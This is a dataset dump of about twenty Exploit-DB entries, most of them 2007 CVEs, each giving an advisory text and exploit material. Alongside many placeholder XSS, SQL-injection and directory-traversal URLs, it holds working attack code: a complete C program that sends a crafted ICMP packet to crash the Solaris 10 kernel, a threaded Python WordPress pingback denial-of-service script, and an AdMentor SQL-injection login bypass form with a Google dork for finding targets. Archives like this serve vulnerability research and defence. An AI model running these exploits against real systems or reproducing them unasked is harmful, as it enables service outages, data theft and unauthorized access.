QLWD/code_shield huggingface dataset:
标题: Sun Solaris 10 - ICMP Remote Denial of Service EDB-ID: 29540 CVE: 2007-0634 类型: DOS 平台: SOLARIS 发布日期: 2007-01-30 漏洞利用脚本: // source: https://www.securityfocus.com/bid/22323/info

Sun Solaris is prone to a remote denial-of-service vulnerability.

A successful attack can trigger a crash in the operating system, leading to a denial-of-service condition for legitimate users.

Solaris 10 is affected by this issue. 

/*
 SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope
 Null Pointer Dereference in Kernel Space
 Seems to work only if attacked in the same network segment,
 maybe because of firewalls/routers in place.
 
 This seems to be the issue described in bid 22323.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

unsigned char rawData[77] =
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C, 0x52, 0x00, 0x00, 0x7E, 0x01, 0x0C, 0xF2, 0xE0, 0x5A, 0x73, 0x12,
    0xC0, 0xA8, 0x0E, 0x58, 0x08, 0xDE, 0xAE, 0x37, 0x6F, 0x3B, 0x66, 0xA7, 0x60, 0xAA, 0x76, 0xC1,
    0xEC, 0xA7, 0x7D, 0xFA, 0x8A, 0x72, 0x8E, 0xC6, 0xE3, 0xD2, 0x64, 0x13, 0xE7, 0x4D, 0xBC, 0x01,
    0x40, 0x5B, 0x8E, 0x8B, 0xE5, 0xEE, 0x5E, 0x37, 0xDD, 0xC2, 0x54, 0x8E, 0x8D, 0xCE, 0x0C, 0x42,
    0x97, 0xA1, 0x8C, 0x04, 0x8A, 0xC2, 0x6B, 0xAE, 0xE9, 0x2E, 0xFE, 0xD4, 0x4B,
} ;

long resolve(char *host)
{
  struct hostent *hst;
  long addr;

  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);

  memcpy(&addr, hst->h_addr, hst->h_length);
  memcpy(rawData+16, &addr, sizeof(long));

  return(addr);
}

int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
} URL: https://www.exploit-db.com/exploits/29540
标题: Yahoo! Messenger 8.0 - Notification Message HTML Injection EDB-ID: 29531 CVE: 2007-0768 类型: DOS 平台: WINDOWS 发布日期: 2007-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22269/info

Yahoo! Messenger is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the context of a victim's Internet Explorer temporary folder. This may help the attacker steal information and launch other attacks.

Versions prior to 2.1.0.29 are vulnerable to this issue. 

1. Firstname: example example example example ? ( as long as victim cant see the lastname)
2. Lastname: <img src="javascript:alert('Executed from ' + top.location)" >
3. Request to add victim ID to your contact list.
4. Once victim accepts your request, send him a message and change your online status (Available -> Invisible) URL: https://www.exploit-db.com/exploits/29531
标题: FD Script 1.3.x - 'FName' Information Disclosure EDB-ID: 29530 CVE: 2007-0620 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22265/info

FD Script is prone to an information-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

FD Script 1.32 and prior versions are vulnerable to this issue. 

http://www,example.com/download.php?fname=[SOURCE FILE] URL: https://www.exploit-db.com/exploits/29530
标题: AdMentor - Admin Login SQL Injection EDB-ID: 29533 CVE: 2007-0575 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22281/info

AdMentor is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

<html><title>AdMentor Script Remote SQL injection Exploit</title> =============================================================================================== <p><b><font size="2">[Script Name: <font color="#0000FF">AdMentor admin SQL injection </font></font></b></p> <p><b><font size="2">[Coded by : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Author : <font color="#FF0000">Cr@zy_King </font></font></b></p> <p><b><font size="2">[Contact : <font color="#FF0000">Crazy_King@Eno7.org </font></font></b></p> <p><b><font size="2">[Dork : <font color="#0000FF">inurl:"admentor/admin" </font></font></b></p> <p><b><font size="2">[Dork Ex. : <font color="#0000FF">http://www.google.com.tr/search?hl=tr&q=inurl%3A%22admentor%2Fadmin%22&btnG=Google%27da+Ara&meta= </font></font></b></p> <p><b><font size="2">[S.Page : <font color="#0000FF">http://www.aspcode.net/products/admentor </font></font></b></p> <p><b><font size="2">[Thanks : <font color="#008000">Erne & ApAci & Eno7 & Uyuss & Liz0zim & Thehacker & Xoron & Ajann</font></font></b> =============================================================================================== </p> <FORM NAME=giris ACTION="http://victim.com/[path to script]/admin/login.asp" METHOD=post> <table align=center> <td>Kullanici Adi:</td><td><INPUT NAME=kullanici class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td>Sifre:</td><td><INPUT NAME=parola TYPE=text class="input" value="'or' '='" SIZE=15></td> </tr><tr> <td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td> <b><font face="Verdana" size="2" color="#008000">Exploit Coded By Cr@zy_King</font></b></p> </tr></table></form></html> URL: https://www.exploit-db.com/exploits/29533
标题: Microsoft Word 2000 - Malformed Function Code Execution EDB-ID: 29524 CVE: 2007-0515 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/22225/info

Microsoft Word 2000 is prone to a remote code-execution vulnerability.

Microsoft Word 2000 is confirmed vulnerable to a remote code-execution issue. Exploit attempts against Word 2003/XP will consume all CPU resources and will cause a denial of service for legitimate users.

Note that this issue is distinct from issues described in BID 21589 (Microsoft Word Code Execution Vulnerability), BID 21451 (Microsoft Word Malformed String Remote Code Execution Vulnerability), and BID 21518 (Microsoft Word Malformed Data Structures Code Execution Vulnerability). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29524.doc URL: https://www.exploit-db.com/exploits/29524
标题: Apple Mac OSX 10.4.x - Software Update Format String EDB-ID: 29523 CVE: 2007-0463 类型: DOS 平台: OSX 发布日期: 2007-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/22222/info

Apple Software Update is prone to a format-string vulnerability.

This issue presents itself because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly lead to arbitrary code execution. This may facilitate unauthorized access or privilege escalation in the context of the user running the application. 

$ touch %x.%x.%x.%x.%x.%x.%x.swutmp
$ open %x.%x.%x.%x.%x.%x.%x.swutmp URL: https://www.exploit-db.com/exploits/29523
标题: GTK2 GDKPixBufLoader - Remote Denial of Service EDB-ID: 29520 CVE: 2007-0010 类型: DOS 平台: LINUX 发布日期: 2007-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22209/info

Applications using the gtk2 library may be prone to a denial-of-service vulnerability because the library fails to handle malformed image data.

An attacker can exploit this issue to crash applications on a victim's computer. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29520.mbox URL: https://www.exploit-db.com/exploits/29520
标题: WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service / Information Disclosure EDB-ID: 29522 CVE: 2007-0540 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22220/info

WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.

Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.

Versions prior to WordPress 2.1 are vulnerable. 

#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
 from threading import Thread
  
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile  = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
  
# Fetch Pingback-URL
pingbackURL =  urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback:   %s" % (targetURL, pingbackURL)
  
# Attack
def attack():
  server = ServerProxy(pingbackURL)
  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
  except: pass
for i in range(50):
  Thread(target=attack).start()
print "-- attacking --" URL: https://www.exploit-db.com/exploits/29522
标题: appRain 3.0.2 - Blind SQL Injection EDB-ID: 29514 CVE: 2013-6058 类型: WEBAPPS 平台: PHP 发布日期: 2013-11-08 漏洞利用脚本: Advisory ID: HTB23177
Product: appRain
Vendor: appRain
Vulnerable Version(s): 3.0.2 and probably prior
Tested Version: 3.0.2
Advisory Publication:  October 9, 2013  [without technical details]
Vendor Notification: October 9, 2013 
Public Disclosure: November 6, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6058
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in appRain, which can be exploited to perform SQL Injection  attacks.


1) Blind SQL Injection in appRain: CVE-2013-6058

The vulnerability is caused by insufficient validation of user-supplied data appended to "/blog-by-cat/" URL. Remote attacker can execute arbitrary SQL commands to read, modify or delete information in application's database.

The following exploitation example will display all posts from category 1, if the MySQL Server version is 5.x, otherwise no posts will be displayed:

http://[host]/blog-by-cat/1%20and%20substring(version(),1,1)=5/

-----------------------------------------------------------------------------------------------

Solution:

Vendor did not reply to 5 notifications by email, 1 notification by twitter, 1 forum thread. Currently we are not aware of any official solution for this vulnerability.

Unofficial patch was developed by High-Tech Bridge Security Research Lab and is available here: https://www.htbridge.com/advisory/HTB23177-patch.zip

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23177 - https://www.htbridge.com/advisory/HTB23177 - SQL Injection in appRain.
[2] appRain - http://www.apprain.com/ - appRain is a platform to build your web base application.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. URL: https://www.exploit-db.com/exploits/29514
标题: SMF 1.1 - 'index.php' HTML Injection EDB-ID: 29499 CVE: 2007-0399 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/22143/info

SMF is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

NOTE: To trigger this vulnerability, the attacker must log in with a valid account.

http://www.example.com/smf/index.php?action=pm;sa=send URL: https://www.exploit-db.com/exploits/29499
标题: ArsDigita Community System 3.4.x - Directory Traversal EDB-ID: 29496 CVE: 2007-0389 类型: REMOTE 平台: LINUX 发布日期: 2007-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/22121/info

ArsDigita Community System is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd URL: https://www.exploit-db.com/exploits/29496
标题: MyBloggie 2.1.5 - 'index.php' Cross-Site Scripting EDB-ID: 29491 CVE: 2007-0353 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/22097/info

MyBloggie is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 2.1.5; other versions may also be affected. 

http://www.example.com/index.php/>">[xss] URL: https://www.exploit-db.com/exploits/29491
标题: MyBloggie 2.1.5 - 'login.php' Cross-Site Scripting EDB-ID: 29492 CVE: 2007-0353 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/22097/info
 
MyBloggie is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 2.1.5; other versions may also be affected. 

http://www.example.com/login.php/>">[xss] URL: https://www.exploit-db.com/exploits/29492
标题: Apple Mac OSX 10.4.8 - QuickDraw GetSrcBits32ARGB Remote Memory Corruption EDB-ID: 29509 CVE: 2007-0462 类型: DOS 平台: OSX 发布日期: 2007-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/22207/info

Mac OS X QuickDraw is prone to a remote memory-corruption vulnerability because the software fails to properly handle malformed PICT image files.

Successfully exploiting this issue allows remote attackers to corrupt memory and crash the affected software. Attackers may also be able to execute arbitrary machine code, but this has not been confirmed.

Mac OS X 10.4.8 is vulnerable to this issue; other versions are also likely affected, since the vulnerable component has been included in Apple operating systems since System 6.0.4 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29509.pct URL: https://www.exploit-db.com/exploits/29509
标题: Indexu 5.0/5.3 - 'new.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29487 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
         
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
         
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
         
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/new.php?path=[XSS]
http://www.example.com/INDEXU_PATH//new.php?total=[XSS] URL: https://www.exploit-db.com/exploits/29487
标题: Indexu 5.0/5.3 - 'login.php?Error_msg' Cross-Site Scripting EDB-ID: 29489 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
           
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
           
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
           
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/login.php?error_msg=[XSS] URL: https://www.exploit-db.com/exploits/29489
标题: Indexu 5.0/5.3 - 'search.php?keyword' Cross-Site Scripting EDB-ID: 29484 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
      
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/search.php?keyword=[XSS] URL: https://www.exploit-db.com/exploits/29484
标题: Indexu 5.0/5.3 - 'power_search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29486 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
        
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
        
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
        
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/power_search.php?url=[XSS]
http://www.example.com/INDEXU_PATH//power_search.php?contact_name=[XSS]
http://www.example.com/INDEXU_PATH//power_search.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29486
标题: avm fritz!dsl igd control service 2.2.29 - Directory Traversal Information Disclosure EDB-ID: 29490 CVE: 2007-0357 类型: REMOTE 平台: WINDOWS 发布日期: 2007-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/22093/info

The AVM Fritz!DSL IGD Control Service is prone to a remote information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to retrieve the contents of arbitrary files from vulnerable computers with SYSTEM-level privileges. Information harvested may aid in further attacks. 

http://www.example.com:49001/..%5C..%5C..%5Cwindows%5Csystem.ini URL: https://www.exploit-db.com/exploits/29490
标题: Indexu 5.0/5.3 - 'tell_friend.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29480 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
   
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/tell_friend.php?friend_name=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?friend_email=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?my_name=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?my_email=[XSS]
http://www.example.com/INDEXU_PATH/tell_friend.php?id=[XSS] URL: https://www.exploit-db.com/exploits/29480
标题: Indexu 5.0/5.3 - 'suggest_category.php?Error_msg' Cross-Site Scripting EDB-ID: 29478 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
 
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/suggest_category.php?error_msg=[XSS] URL: https://www.exploit-db.com/exploits/29478
标题: Indexu 5.0/5.3 - 'mailing_list.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29488 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
          
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
          
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
          
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/mailing_list.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/mailing_list.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29488